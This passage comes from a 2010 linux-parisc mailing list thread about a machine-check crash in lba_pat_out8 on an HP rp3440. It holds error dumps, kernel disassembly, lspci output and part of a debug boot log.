VALIDATION_BITS		0x0000000000000023
PCI_COMP_ERROR_STATUS		0x00000000005a2000
PCI_COMP_INFO		0x0000000000004a7c 0x0035103303104101
     Vendor Id/Device Id:                  0x35/1033
     Base Class/Sub Class/Program Interface: 0x41/10/3
     Segment/Bus/Device/Function:          0x0/0/1/1
PCI_COMP_MEM_NUM		0
PCI_COMP_IO_NUM		0
PCI_COMP_REGS_DATA_PAIR
     Address                Data
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000

PCI_COMP_OEM_DATA_STRUCT
--- Section Header ---
GUID
  data1	0x4f7d86a
  data2	0x598b
  data3	0x4a0a
  data4	0xaa 62 ff 70 73 46 67 4d 
LENGTH		232
PHYSICAL_LOCATION		0xffffffffffffff00
REGISTRATION_NUMBER		0x0000000000000008
CONFIG_REGISTERS_DATA
        Offset    Size   Data
          0        8     0x2210014600351033
          8        8     0x000080200c031041
         16        8     0x0000000080001000
         24        8     0x0000000000000000
         32        8     0x0000000000000000
         40        8     0x0035103300000000
         48        8     0x0000004000000000
         56        8     0x2a01020000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000

End of PCI Component Error Information for Error 2

End of PCI Component Error Information
  PCI Bus Error information

PCI Bus Error 1
--- Section Header ---
GUID
  data1	0xe429faf4
  data2	0x3cb7
  data3	0x11d4
  data4	0xbc a7 0 80 c7 3c 88 81 
REVISION		0x0200
ERROR_RECOVERY_INFO		0x84
SECTION_LENGTH		0x00000108
VALIDATION_BITS		0x000000000000074f
PCI_BUS_ERROR_STATUS	0x00000000005a2000
PCI_BUS_ERROR_TYPE	0x0000000000000004
PCI_BUS_ID		0x0000000000000000
PCI_BUS_ADDRESS		0x0000000000000d20
PCI_BUS_DATA		0x0000000000000000
PCI_BUS_CMD		0x0000000000000000
PCI_BUS_REQUESTOR_ID	0x00000000fed20000
PCI_BUS_COMPLETER_ID	0x0000000000000000
PCI_BUS_TARGET_ID	0x0000000000000d20
PCI_BUS_OEM_ID		0x0000000000003d90

Bus OEM Data
  CEC Header:
--- OEM Data Header ---

GUID
  data1	0x9fe64482
  data2	0xa02d
  data3	0x4ef7
  data4	0xad e6 c6 63 59 62 53 99 

--- OEM Data Body ---

CELL_NUMBER		0
SBA_NUMBER		0
ROPE_NUMBER		0
--- Mercury Info ---
ERROR_STATUS		0x000000010000021c
ERROR_MASTER_ID_LOG	0x0000000000000000
INBOUND_ERR_ADDRESS	0x0000000000000000
INBOUND_ERR_ATTRIBUTE	0x0000000000000000
COMPLETION_MESSAGE_LOG	0x0000000000000000
OUTBOUND_ERR_ADDRESS	0x0000000000000d20
ERROR_CONFIG		0x0000000000000030
STATUS_INFO_CONTROL	0x0000000000000000
FUNC_ID			0x22b00146122e103c
CAPABILITIES_LIST	0x0f00023700200002
AGP_COMMAND		0x0000000000000000
PCIX_CAPABILITIES	0x0013ff0000010007
OLR_CONTROL		0x00023f1b00032403
CLOCK_CONTROL		0x0000000000000048
BUS_MODE		0x9db864ef36f58460

End of PCI Bus Error Information for Error 1

End of PCI Bus Error Information

PAGE DEALLOCATION TABLE INFORMATION

   Location      Address       Type        Perm  Page  
   ------------  ------------  ----------  ----  ---------

   No Entries in Page Deallocation Table 

   PDT Entries Used: 0
   PDT Entries Free: 3000
   PDT Total Size:   3000

--- vmlinux-2.6.36 ---

Processor 0 hpmc was here:
 
0000000040329408 <lba_pat_out8>:
    40329408:   d7 9f 18 52     depwi,z -1,29,14,ret0
    4032940c:   53 5f 03 30     ldd 198(r26),r31
    40329410:   db 39 0b f0     extrd,u r25,63,16,r25
    40329414:   db 33 0b fe     extrd,u r25,63,2,r19
    40329418:   0b 99 02 39     and r25,ret0,r25
    4032941c:   f3 39 11 4a     depd,z r25,53,54,r25
    40329420:   0a 79 0a 39     add,l r25,r19,r25
    40329424:   0b 3f 0a 3f     add,l r31,r25,r31
    40329428:   0f f8 12 00     stb r24,0(r31)
    4032942c:   0f 40 10 dc     ldd 0(r26),ret0
    40329430:   2b 6d 10 00     addil L%1a800,dp,r1
->  40329434:   0f 80 10 9f     ldw 0(ret0),r31
    40329438:   50 3c 09 f0     ldd 4f8(r1),ret0
    4032943c:   e8 40 d0 00     bve (rp)
    40329440:   0f 9f 12 80     stw r31,0(ret0)
    40329444:   00 00 00 00     break 0,0

lba_pat_out8 was called from outb.

--- vmlinux-2.6.32-5-parisc64-smp ---

Processor 2 and 3 hpmcs were here:

000000004031e3f0 <lba_pat_out8>:
    4031e3f0:   d7 9f 18 52     depwi,z -1,29,14,ret0
    4031e3f4:   53 5f 03 30     ldd 198(r26),r31
    4031e3f8:   db 39 0b f0     extrd,u r25,63,16,r25
    4031e3fc:   db 33 0b fe     extrd,u r25,63,2,r19
    4031e400:   0b 99 02 39     and r25,ret0,r25
    4031e404:   f3 39 11 4a     depd,z r25,53,54,r25
    4031e408:   0a 79 0a 39     add,l r25,r19,r25
    4031e40c:   0b 3f 0a 3f     add,l r31,r25,r31
    4031e410:   0f f8 12 00     stb r24,0(r31)
    4031e414:   0f 40 10 dc     ldd 0(r26),ret0
    4031e418:   2b 6d 00 00     addil L%1a000,dp,r1
->  4031e41c:   0f 80 10 9f     ldw 0(ret0),r31
    4031e420:   50 3c 0f 10     ldd 788(r1),ret0
    4031e424:   e8 40 d0 00     bve (rp)
    4031e428:   0f 9f 12 80     stw r31,0(ret0)
    4031e42c:   00 00 00 00     break 0,0

lba_pat_out8 was again called from outb:

00000000401286d0 <outb>:
    401286d0:   0f c2 12 c1     std rp,-10(sp)
    401286d4:   db 39 0f e0     extrd,s r25,63,32,r25
    401286d8:   d3 3c 1d f0     extrw,s r25,15,16,ret0
    401286dc:   73 c4 01 08     std,ma r4,80(sp)
    401286e0:   db 58 0b f8     extrd,u r26,63,8,r24
    401286e4:   2b 70 30 00     addil L%21800,dp,r1
    401286e8:   db 9a 0f e0     extrd,s ret0,63,32,r26
    401286ec:   50 3c 0b 50     ldd 5a8(r1),ret0
    401286f0:   0f 80 10 9c     ldw 0(ret0),ret0
    401286f4:   87 80 20 38     cmpib,= 0,ret0,40128718 <outb+0x48>
    401286f8:   2b 68 00 00     addil L%10000,dp,r1
    401286fc:   bf 40 20 2a     cmpb,*<>,n r0,r26,40128718 <outb+0x48>
    40128700:   08 18 02 5a     copy r24,r26
    40128704:   37 dd 3f a1     ldo -30(sp),ret1
    40128708:   e8 fc af 14     b,l 40321e98 <eisa_out8>,rp
    4012870c:   d3 39 1b f0     extrw,u r25,31,16,r25
    40128710:   e8 00 00 68     b,l 4012874c <outb+0x7c>,r0
    40128714:   53 c2 3e e1     ldd -90(sp),rp
    40128718:   50 3c 0c 90     ldd 648(r1),ret0
    4012871c:   0f 9a 20 da     ldd,s r26(ret0),r26
    40128720:   9f 40 20 40     cmpb,*= r0,r26,40128748 <outb+0x78>
    40128724:   2b 70 30 00     addil L%21800,dp,r1
    40128728:   d3 39 1b f0     extrw,u r25,31,16,r25
    4012872c:   50 3c 02 10     ldd 108(r1),ret0
    40128730:   0f 80 10 dc     ldd 0(ret0),ret0
    40128734:   37 dd 3f a1     ldo -30(sp),ret1
    40128738:   53 9c 00 30     ldd 18(ret0),ret0
    4012873c:   53 82 00 20     ldd 10(ret0),rp
    40128740:   e8 40 f0 00     bve,l (rp),rp
    40128744:   53 9b 00 30     ldd 18(ret0),dp
->  40128748:   53 c2 3e e1     ldd -90(sp),rp
    4012874c:   e8 40 d0 00     bve (rp)
    40128750:   53 c4 3f 0d     ldd,mb -80(sp),r4
    40128754:   00 00 00 00     break 0,0

In all three cases, register %ret0 contained 000000000002c000.




--uAKRQypu60I7Lcqm--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 31 Oct 2010 14:02:15 -0400
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20101031180214.GA7501@hiauly1.hia.nrc.ca>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288548146 23265 80.91.229.12 (31 Oct 2010 18:02:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Oct 2010 18:02:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 31 19:02:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PCcEW-0008Iq-M6
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Oct 2010 19:02:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756554Ab0JaSCT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Oct 2010 14:02:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1633 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756547Ab0JaSCT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Oct 2010 14:02:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7FDF851C8; Sun, 31 Oct 2010 14:02:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20101031174018.GA26539@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3203>

On Sun, 31 Oct 2010, John David Anglin wrote:

> Attached hpmc dumps.  It appears that struct pci_hba_data *l is
> causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
> would provide more info.

The PCI component errors seem USB related:

dave@mx3210:~/linux/linux-2.6.36.y/drivers/parisc$ lspci -nn
00:01.0 USB Controller [0c03]: NEC Corporation USB [1033:0035] (rev 41)
00:01.1 USB Controller [0c03]: NEC Corporation USB [1033:0035] (rev 41)
00:01.2 USB Controller [0c03]: NEC Corporation USB 2.0 [1033:00e0] (rev 02)
00:02.0 IDE interface [0101]: Silicon Image, Inc. SiI 0649 Ultra ATA/100 PCI to ATA Host Controller [1095:0649] (rev 02)
20:01.0 SCSI storage controller [0100]: LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter [1000:0021] (rev 01)
20:01.1 SCSI storage controller [0100]: LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter [1000:0021] (rev 01)
20:02.0 Ethernet controller [0200]: Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet [14e4:1645] (rev 15)
e0:01.0 Communication controller [0780]: Hewlett-Packard Company Auxiliary Diva Serial Port [103c:1290] (rev 01)
e0:01.1 Serial controller [0700]: Hewlett-Packard Company Diva Serial [GSP] Multiport UART [103c:1048] (rev 03)
e0:02.0 VGA compatible controller [0300]: ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE] [1002:5159]

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 31 Oct 2010 15:46:26 -0400
Organization: nrc.ca
Lines: 1219
Approved: news@gmane.org
Message-ID: <20101031194623.GA8288@hiauly1.hia.nrc.ca>
References: <20101031174018.GA26539@hiauly1.hia.nrc.ca> <20101031180214.GA7501@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg"
X-Trace: dough.gmane.org 1288554425 15713 80.91.229.12 (31 Oct 2010 19:47:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Oct 2010 19:47:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 31 20:46:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PCdrd-0000fT-EV
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Oct 2010 20:46:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756232Ab0JaTqt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Oct 2010 15:46:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1636 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750867Ab0JaTqs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Oct 2010 15:46:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 13D5E4CFC; Sun, 31 Oct 2010 15:46:27 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20101031180214.GA7501@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3204>


--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, 31 Oct 2010, John David Anglin wrote:

> On Sun, 31 Oct 2010, John David Anglin wrote:
> 
> > Attached hpmc dumps.  It appears that struct pci_hba_data *l is
> > causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
> > would provide more info.

Attached console output with debug macros enabled.  Also, attached
new hpmc dump as this one seems different.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hpmc-2010-10-31-2.txt"

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.17 root@c3k Sun Mar  7 16:13:48 MST 2010
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     156   83 ext2
5             157    6832   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 6241289 bytes @ 0x48000

Command line for kernel: 'root=/dev/sdb5 console=ttyS1 HOME=/ palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 5115904 mediaptr 0x1000
Segment 1 load 0066f890 size 489088 mediaptr 0x4e2890
Segment 2 load 006e8000 size 319296 mediaptr 0x55a000
Loading ramdisk 11802446 bytes @ 3f4ad000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.36+ (dave@mx3210) (gcc version 4.3.5 (GCC) ) #4 SMP Sun Oct 31 14:51:20 EDT 2010
[    0.000000] unwind_init: start = 0x40504000, end = 0x40535060, entries = 12550
[    0.000000] WARNING: Out of order unwind entry! 0000000040505410 and 0000000040505420
[    0.000000] WARNING: Out of order unwind entry! 0000000040505420 and 0000000040505430
[    0.000000] WARNING: Out of order unwind entry! 0000000040506040 and 0000000040506050
[    0.000000] WARNING: Out of order unwind entry! 0000000040506050 and 0000000040506060
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x000000027fdfffff Size   6142 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 10238 MB
[    0.000000] initrd: 7f4ad000-7ffee74e
[    0.000000] initrd: reserving 3f4ad000-3ffee74e (mem_max 27fe00000)
[    0.000000] PERCPU: Embedded 10 pages/cpu @00000000428a4000 s12096 r8192 d20672 u65536
[    0.000000] pcpu-alloc: s12096 r8192 d20672 u65536 alloc=16*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5 [0] 6 [0] 7 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2585095
[    0.000000] Kernel command line: root=/dev/sdb5 console=ttyS1 HOME=/ palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
[    0.000000] Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Memory: 10276732k/10483712k available (3469k kernel code, 206980k reserved, 1477k data, 312k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
[    0.000000]       .init : 0x00000000406e8000 - 0x0000000040736000   ( 312 kB)
[    0.000000]       .data : 0x00000000404634d0 - 0x00000000405d49d0   (1477 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x00000000404634d0   (3469 kB)
[    0.000000] SLUB: Genslabs=9, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	CONFIG_RCU_FANOUT set to non-default value of 32
[    0.000000] 	RCU-based detection of stalled CPUs is disabled.
[    0.000000] 	Verbose stalled-CPUs detection is disabled.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.000000] Calibrating delay loop... 1597.44 BogoMIPS (lpj=3194880)
[    0.096000] pid_max: default: 32768 minimum: 301
[    0.096000] Security Framework initialized
[    0.096000] SELinux:  Disabled at boot.
[    0.096000] Mount-cache hash table entries: 256
[    0.104000] Initializing cgroup subsys ns
[    0.104000] Initializing cgroup subsys cpuacct
[    0.104000] Initializing cgroup subsys devices
[    0.108000] Initializing cgroup subsys freezer
[    0.108000] Initializing cgroup subsys net_cls
[    0.116000] Brought up 1 CPUs
[    0.116000] devtmpfs: initialized
[    0.120000] regulator: core version 0.5
[    0.124000] NET: Registered protocol family 16
[    0.124000] EISA bus registered
[    0.132000] Searching for devices...
[    0.256000] Found devices:
[    0.256000] 1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
[    0.260000] 2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
[    0.260000] 3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
[    0.264000] 4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
[    0.272000] 5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
[    0.280000] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    0.288000] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    0.288000] 8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
[    0.296000] 9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    0.300000] 10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    0.308000] 11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
[    0.316000] 12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
[    0.324000] 13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
[    0.324000] 14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    0.332000] Enabling PDC_PAT chassis codes support v0.05
[    0.880000] Releasing cpu 1 now, hpa=fffffffffe781000
[    0.928000] FP[1] enabled: Rev 1 Model 20
[    0.948000] Releasing cpu 2 now, hpa=fffffffffe798000
[    0.996000] FP[2] enabled: Rev 1 Model 20
[    1.024000] Releasing cpu 3 now, hpa=fffffffffe799000
[    1.072000] FP[3] enabled: Rev 1 Model 20
[    1.092000] CPU(s): 4 x PA8800 (Mako) at 800.005900 MHz
[    1.096000] Setting cache flush threshold to 2000000 (4 CPUs online)
[    1.136000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    1.184000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.204000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.228000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.248000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.272000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.292000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.312000] lba_set_iregs() ibase 0x40000000 imask 0x0
[    1.336000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    1.392000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    1.392000] mercury_cfg_read(800+ 0) -> 0x351033
[    1.392000] mercury_cfg_read(800+ e) -> 0x80
[    1.392000] mercury_cfg_read(800+ 6) -> 0x210
[    1.392000] mercury_cfg_read(800+34) -> 0x40
[    1.400000] mercury_cfg_read(800+40) -> 0x1
[    1.400000] mercury_cfg_read(800+41) -> 0x0
[    1.408000] mercury_cfg_read(800+ 8) -> 0xc031041
[    1.408000] mercury_cfg_read(800+ 6) -> 0x210
[    1.412000] mercury_cfg_read(800+34) -> 0x40
[    1.412000] mercury_cfg_read(800+40) -> 0x1
[    1.416000] mercury_cfg_read(800+41) -> 0x0
[    1.420000] mercury_cfg_read(800+3d) -> 0x1
[    1.420000] mercury_cfg_read(800+3c) -> 0x0
[    1.428000] mercury_cfg_read(800+ 4) -> 0x146
[    1.428000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.436000] mercury_cfg_read(800+10) -> 0x80002000
[    1.436000] mercury_cfg_write(800+10) <- 0xffffffff (c)
[    1.444000] mercury_cfg_read(800+10) -> 0xfffff000
[    1.444000] mercury_cfg_write(800+10) <- 0x80002000 (c)
[    1.452000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.452000] mercury_cfg_read(800+ 4) -> 0x146
[    1.456000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.456000] mercury_cfg_read(800+14) -> 0x0
[    1.456000] mercury_cfg_write(800+14) <- 0xffffffff (c)
[    1.464000] mercury_cfg_read(800+14) -> 0x0
[    1.464000] mercury_cfg_write(800+14) <- 0x0 (c)
[    1.472000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.472000] mercury_cfg_read(800+ 4) -> 0x146
[    1.480000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.480000] mercury_cfg_read(800+18) -> 0x0
[    1.484000] mercury_cfg_write(800+18) <- 0xffffffff (c)
[    1.488000] mercury_cfg_read(800+18) -> 0x0
[    1.492000] mercury_cfg_write(800+18) <- 0x0 (c)
[    1.492000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.500000] mercury_cfg_read(800+ 4) -> 0x146
[    1.500000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.508000] mercury_cfg_read(800+1c) -> 0x0
[    1.508000] mercury_cfg_write(800+1c) <- 0xffffffff (c)
[    1.516000] mercury_cfg_read(800+1c) -> 0x0
[    1.516000] mercury_cfg_write(800+1c) <- 0x0 (c)
[    1.516000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.524000] mercury_cfg_read(800+ 4) -> 0x146
[    1.524000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.528000] mercury_cfg_read(800+20) -> 0x0
[    1.528000] mercury_cfg_write(800+20) <- 0xffffffff (c)
[    1.536000] mercury_cfg_read(800+20) -> 0x0
[    1.536000] mercury_cfg_write(800+20) <- 0x0 (c)
[    1.544000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.544000] mercury_cfg_read(800+ 4) -> 0x146
[    1.552000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.552000] mercury_cfg_read(800+24) -> 0x0
[    1.560000] mercury_cfg_write(800+24) <- 0xffffffff (c)
[    1.560000] mercury_cfg_read(800+24) -> 0x0
[    1.560000] mercury_cfg_write(800+24) <- 0x0 (c)
[    1.564000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.564000] mercury_cfg_read(800+ 4) -> 0x146
[    1.572000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    1.572000] mercury_cfg_read(800+30) -> 0x0
[    1.580000] mercury_cfg_write(800+30) <- 0xfffff800 (c)
[    1.580000] mercury_cfg_read(800+30) -> 0x0
[    1.588000] mercury_cfg_write(800+30) <- 0x0 (c)
[    1.588000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    1.596000] mercury_cfg_read(800+2c) -> 0x1033
[    1.596000] mercury_cfg_read(800+2e) -> 0x35
[    1.600000] mercury_cfg_read(800+ 6) -> 0x210
[    1.600000] mercury_cfg_read(800+34) -> 0x40
[    1.600000] mercury_cfg_read(800+40) -> 0x1
[    1.608000] mercury_cfg_read(800+41) -> 0x0
[    1.608000] mercury_cfg_read(800+ 6) -> 0x210
[    1.616000] mercury_cfg_read(800+34) -> 0x40
[    1.616000] mercury_cfg_read(800+40) -> 0x1
[    1.624000] mercury_cfg_read(800+41) -> 0x0
[    1.624000] mercury_cfg_read(800+ 6) -> 0x210
[    1.624000] mercury_cfg_read(800+34) -> 0x40
[    1.632000] mercury_cfg_read(800+40) -> 0x1
[    1.632000] mercury_cfg_read(800+42) -> 0x7e02
[    1.640000] mercury_cfg_read(800+44) -> 0x0
[    1.640000] mercury_cfg_write(800+44) <- 0x8000 (c)
[    1.652000] mercury_cfg_read(800+ 6) -> 0x210
[    1.652000] mercury_cfg_read(800+34) -> 0x40
[    1.660000] mercury_cfg_read(800+40) -> 0x1
[    1.660000] mercury_cfg_read(800+41) -> 0x0
[    1.660000] mercury_cfg_read(900+ 0) -> 0x351033
[    1.672000] mercury_cfg_read(900+ e) -> 0x0
[    1.672000] mercury_cfg_read(900+ 6) -> 0x210
[    1.680000] mercury_cfg_read(900+34) -> 0x40
[    1.680000] mercury_cfg_read(900+40) -> 0x1
[    1.688000] mercury_cfg_read(900+41) -> 0x0
[    1.688000] mercury_cfg_read(900+ 8) -> 0xc031041
[    1.696000] mercury_cfg_read(900+ 6) -> 0x210
[    1.696000] mercury_cfg_read(900+34) -> 0x40
[    1.696000] mercury_cfg_read(900+40) -> 0x1
[    1.708000] mercury_cfg_read(900+41) -> 0x0
[    1.708000] mercury_cfg_read(900+3d) -> 0x2
[    1.716000] mercury_cfg_read(900+3c) -> 0x0
[    1.716000] mercury_cfg_read(900+ 4) -> 0x146
[    1.728000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.728000] mercury_cfg_read(900+10) -> 0x80001000
[    1.736000] mercury_cfg_write(900+10) <- 0xffffffff (c)
